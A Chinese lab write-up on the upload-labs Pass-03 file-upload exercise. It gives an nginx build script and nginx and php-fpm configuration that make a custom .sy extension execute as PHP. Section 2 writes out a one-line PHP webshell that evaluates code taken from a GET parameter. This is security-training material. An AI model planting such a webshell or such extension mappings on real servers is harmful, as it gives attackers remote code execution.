upload-labs Pass-03（黑名单验证，特殊后缀）问题纠正

背景：为了验证php解析不依靠后缀名，可以是任何后缀名，纠正upload-labs Pass-03（黑名单验证，特殊后缀）里所说的几个固定的后缀名理论是错误的。

1 部署

1.1 环境准备

1.1.1 系统、内核（可以是任何系统）

 /etc/os-release
NAME="Fedora Linux"
VERSION="38 (Server Edition)"
ID=fedora
VERSION_ID=38
...
uname -a
Linux localhost.localdomain 6.6.7-100.fc38.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Dec 13 21:41:36 UTC 2023 x86_64 GNU/Linux

1.1.2 应用

php7.2 （可以是任意版本php，此次采用7.2是为了验证PHP远程代码执行漏洞复现CVE-2019-11043，结果没成功，原因是前端web应用我部署的是nginx，案例里docker容器里是Apache+php7.2）
相关连接：CVE-2019-11043

nginx (可以是任何版本nginx,预编译取消nginx用户是想验证默认编译好的user是否是nobody)

1.2 部署

1.2.1 php部署连接如下

编译安装 PHP 7.2.10

额外修改php-fpm内容如下：

security.limit_extensions = .php5 .phps .sy .php
加到配置最后即可，然后需要重启php-fpm

1.2.2 nginx部署脚本如下：

#!/bin/bash
#
#********************************************************************
#Author:                        Mr.Song
#QQ:                            1132197391
#Date:                          2020-12-01
#FileName：                     install_nginx.sh
#Description：          The test script
#Copyright (C):         2021 All rights reserved
#********************************************************************
SRC_DIR=/usr/local/src
NGINX_URL=http://nginx.org/download/
NGINX_FILE=nginx-1.25.1
#NGINX_FILE=nginx-1.18.0
TAR=.tar.gz
NGINX_INSTALL_DIR=/apps/nginx
CPUS=`lscpu |awk '/^CPU\(s\)/{print $2}'`
. /etc/os-release

color () {
    RES_COL=60
    MOVE_TO_COL="echo -en \\033[${RES_COL}G"
    SETCOLOR_SUCCESS="echo -en \\033[1;32m"
    SETCOLOR_FAILURE="echo -en \\033[1;31m"
    SETCOLOR_WARNING="echo -en \\033[1;33m"
    SETCOLOR_NORMAL="echo -en \E[0m"
    echo -n "$1" && $MOVE_TO_COL
    echo -n "["
    if [ $2 = "success" -o $2 = "0" ] ;then
        ${SETCOLOR_SUCCESS}
        echo -n $"  OK  "
    elif [ $2 = "failure" -o $2 = "1"  ] ;then
        ${SETCOLOR_FAILURE}
        echo -n $"FAILED"
    else
        ${SETCOLOR_WARNING}
        echo -n $"WARNING"
    fi
    ${SETCOLOR_NORMAL}
    echo -n "]"
    echo
}

os_type () {
   awk -F'[ "]' '/^NAME/{print $2}' /etc/os-release
}

os_version () {
   awk -F'"' '/^VERSION_ID/{print $2}' /etc/os-release
}

check () {
    [ -e ${NGINX_INSTALL_DIR} ] && { color "nginx 已安装,请卸载后再安装" 1; exit; }
    cd  ${SRC_DIR}
    if [  -e ${NGINX_FILE}${TAR} ];then
        color "相关文件已准备好" 0
    else
        color '开始下载 nginx 源码包' 0
        wget ${NGINX_URL}${NGINX_FILE}${TAR}
        [ $? -ne 0 ] && { color "下载 ${NGINX_FILE}${TAR}文件失败" 1; exit; }
    fi
}

install () {
    color "开始安装 nginx" 0
    if id nginx  &> /dev/null;then
        color "nginx 用户已存在" 1
    else
        #useradd -s /sbin/nologin -r  nginx
        color "创建 nginx 用户" 0
    fi
    color "开始安装 nginx 依赖包" 0
    if [ $ID == "centos" ] ;then
            if [[ $VERSION_ID =~ ^7 ]];then
            yum -y -q  install make gcc pcre-devel openssl-devel zlib-devel perl-ExtUtils-Embed
                elif [[ $VERSION_ID =~ ^8 ]];then
            yum -y -q install make gcc-c++ libtool pcre pcre-devel zlib zlib-devel openssl openssl-devel perl-ExtUtils-Embed
                else
            color '不支持此系统!'  1
            exit
        fi
    elif [ $ID == "rocky"  ];then
            yum -y -q install make gcc-c++ libtool pcre pcre-devel zlib zlib-devel openssl openssl-devel perl-ExtUtils-Embed
        else
        apt update &> /dev/null
        apt -y install make gcc libpcre3 libpcre3-dev openssl libssl-dev zlib1g-dev &> /dev/null
    fi
    cd $SRC_DIR
    tar xf ${NGINX_FILE}${TAR}
    NGINX_DIR=`echo ${NGINX_FILE}${TAR}| sed -nr 's/^(.*[0-9]).*/\1/p'`
    cd ${NGINX_DIR}
    #./configure --prefix=${NGINX_INSTALL_DIR} --user=nginx --group=nginx --with-http_ssl_module --with-http_v2_module --with-http_realip_module --with-http_stub_status_module --with-http_gzip_static_module --with-pcre --with-stream --with-stream_ssl_module --with-stream_realip_module
    ./configure --prefix=${NGINX_INSTALL_DIR}  --with-http_ssl_module --with-http_v2_module --with-http_realip_module --with-http_stub_status_module --with-http_gzip_static_module --with-pcre --with-stream --with-stream_ssl_module --with-stream_realip_module
    make -j $CPUS && make install
    [ $? -eq 0 ] && color "nginx 编译安装成功" 0 ||  { color "nginx 编译安装失败,退出!" 1 ;exit; }
    echo "PATH=${NGINX_INSTALL_DIR}/sbin:${PATH}" > /etc/profile.d/nginx.sh
    cat > /lib/systemd/system/nginx.service <<EOF
[Unit]
Description=The nginx HTTP and reverse proxy server
After=network.target remote-fs.target nss-lookup.target

[Service]
Type=forking
PIDFile=${NGINX_INSTALL_DIR}/logs/nginx.pid
ExecStartPre=/bin/rm -f ${NGINX_INSTALL_DIR}/logs/nginx.pid
ExecStartPre=${NGINX_INSTALL_DIR}/sbin/nginx -t
ExecStart=${NGINX_INSTALL_DIR}/sbin/nginx
ExecReload=/bin/kill -s HUP \$MAINPID
KillSignal=SIGQUIT
TimeoutStopSec=5
KillMode=process
PrivateTmp=true
LimitNOFILE=100000

[Install]
WantedBy=multi-user.target
EOF
    systemctl daemon-reload
    systemctl enable --now nginx &> /dev/null
    systemctl is-active nginx &> /dev/null ||  { color "nginx 启动失败,退出!" 1 ; exit; }
    color "nginx 安装完成" 0
}

check
install

配置如下：

location / {
            root   html;
            index index.html index.php;
            #index index.html index.php index.pht index.phps index.php5;
            try_files $uri $uri/ =404;
        }
        location ~ (.php|.php5|.phps|.sy)$ {
        #location ~ [^/]\.php(/|$) {
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        include fastcgi_params;

        fastcgi_param PATH_INFO       $fastcgi_path_info;
        fastcgi_index index.php;
        fastcgi_param  REDIRECT_STATUS    200;
        fastcgi_param  SCRIPT_FILENAME /apps/nginx/html$fastcgi_script_name;
        fastcgi_param  DOCUMENT_ROOT /apps/nginx/html;
        fastcgi_pass localhost:9000;
        }

1.2.3 upload-labs部署

upload-labs源码

解压放入 nginx的html目录下即可

2 验证php-fpm配置的后缀名是否生效

get方法一句话木马如下：

<?php eval(@$_GET['sy']);

以上.sy结尾就是我在php-fpm所配置的.sy结尾的后缀名文件
需要注意的是前端代理nginx 路由需要标注后缀名否则会出现403如下：

未配置路由日志：

正常日志

如果nginx路由配置了，后端php-fpm未配置就解析不了，直接下载到本地了